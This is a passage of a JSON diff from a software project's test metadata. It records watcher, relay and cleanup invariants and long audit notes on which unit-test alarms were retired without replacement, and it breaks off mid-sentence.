       "invariant": "Local runtime and SSH relay roots share one watcher child per host process while healthy and use at most four quarantine children after shard failure; native desktop, paired-runtime, and direct WSL snapshot children consume the same process-wide eight-child reservation and retry transient exhaustion without permanently disabling a root. Cancellation remains owned by its child generation and settles only after acknowledgement or bounded physical exit; paired-web retains cleanup ownership and can cancel before readiness even while capacity is exhausted, retries a failed unwatch after already-resolved or late physical exit without duplicating stream termination, replacements never overlap a still-retiring generation, and aborted or timed-out callers detach immediately even while queued behind same-root relay teardown. Destructive local and SSH cleanup holds one containment-aware watcher/terminal removal fence through descendant watcher and PTY physical exit plus parent Git/filesystem deletion; daemon and relay kill requests retain ownership until the actual subprocess exit callback or an equivalent positive dead-PID proof and propagate rejected signals or a bounded failure otherwise. A crash-fused shared shard moves affected roots into the bounded quarantine pool, a second fused quarantine ends those watch lifetimes, interrupted setup emits overflow after recovery, metadata work stays bounded, and the SSH relay, PTYs, Git, and other filesystem operations never load the watcher native addon or share its fault boundary.",
-      "oracle": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts: delivers remote file changes to listeners for the same worktree. src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts\",\n          \"assertions\": [\n            \"terminal watcher error and setup failure evict the shared entry before retrying callbacks run\",\n            \"an old stream end cannot evict the replacement stream, which still delivers to its listener\",\n            \"two same-worktree listeners share a synthetic subscription until the final stop unsubscribes and sends unwatch\"\n          ]\n        } Historical prior account (preserved verbatim): Audit1973: Delete the standalone mocked watcher cleanup suite and its entire sole-file prospective command. Retire the removed file-command transport-abort alias; preserve the independent cancellation suite and final-overflow/error/end cleanup callback, and13 unrelated receipt objects. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial runtime files-watch suite retains controlled Windows close-event waiting, shared-client survival, late physical-exit ownership/deadline cleanup and shutdown joining. Its combined Windows close/deadline/late-exit alias remains backed by unchanged callbacks. Retire native-error-close, pre-publication setup ownership and failed-delete rearm aliases; associated delegation, failure forwarding, removal routing and recovery examples are lost. These tests inject watch/subscription seams and do not observe an actual native watcher or physical process. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Partial runtime watcher-host suite loses mocked option/event/overflow/resubscription forwarding, supplied teardown-error propagation, aborted-signal/no-call and private ten-thousand-waiter-count inventories. Retire the 10,000-caller bound and failed-recovery-subscriber-ending assertion aliases. Keep same-root owner cancellation, pre-ready replacement, held root-close join, stale-generation recovery delivery and initial failed-root ownership mappings backed by retained real-host callbacks with injected subscription/error/physical-exit promises. No actual native watcher, process termination or resource bound was observed. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Fill the global watcher-child reservation, require native desktop, paired-runtime, and WSL setup to retain typed transient capacity and retry after one serialized release, then cancel pending desktop and paired-client watches and require no retry. Hold one live anchor while aborting 10,000 callers at the capacity, quarantine-assignment, runtime-root, relay-setup, and SSH-registration layers; require exactly one explicit waiter and one base-promise reaction to remain, then zero after settlement. Hold an old relay unsubscribe, queue one same-root setup leader and one anchor, then abort 10,000 joiners; require every cancellation to settle before teardown releases, exactly one anchor waiter, and only one later physical install. Advance the former paired-web callback deadline while capacity remains full, require cancellation ownership to stay live, publish the server token before ready, and require files.unwatch to abort setup before a later slot release can install a native root. Reject the first ready-watch unwatch with a physical-exit promise, resolve that exit later, and require a fresh physical unwatch attempt, registry release, and exactly one stream end. Fill one healthy shared child with multiple roots, map a standard SSH repository's base, Git common directory, and worktree roots to one relay supervisor, then inject IPC disconnect-before-exit, queued and active cancellation, operations during termination, kill-without-exit, repeated unkillable generations, initial and recovery timeouts, and shard failure. During local and SSH deletion, attempt a late terminal spawn whose worktree identity and cwd name different roots, enumerate a non-prefix remote PTY by authoritative worktree ownership, withhold daemon/relay exit callbacks, make attach positively prove a concurrent-shutdown PID dead, and make the provider unavailable; require every acquired admission to roll back on rejection, dead-PID proof to settle physical exit before reaping, timeout to retain ownership, and Git/filesystem deletion never to start. Require bounded watcher process count, physical-exit settlement, healthy-root recovery, stale-generation rejection, overflow plus later events, and fail-closed destructive cleanup. Verify relay build hashes and remote install probes require both relay.js and relay-watcher.js. Launch the built relay with a real PTY and Parcel watch, kill only the watcher child, and require the same relay PID and PTY to answer before a replacement child delivers overflow and a post-crash event.",
+      "oracle": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and 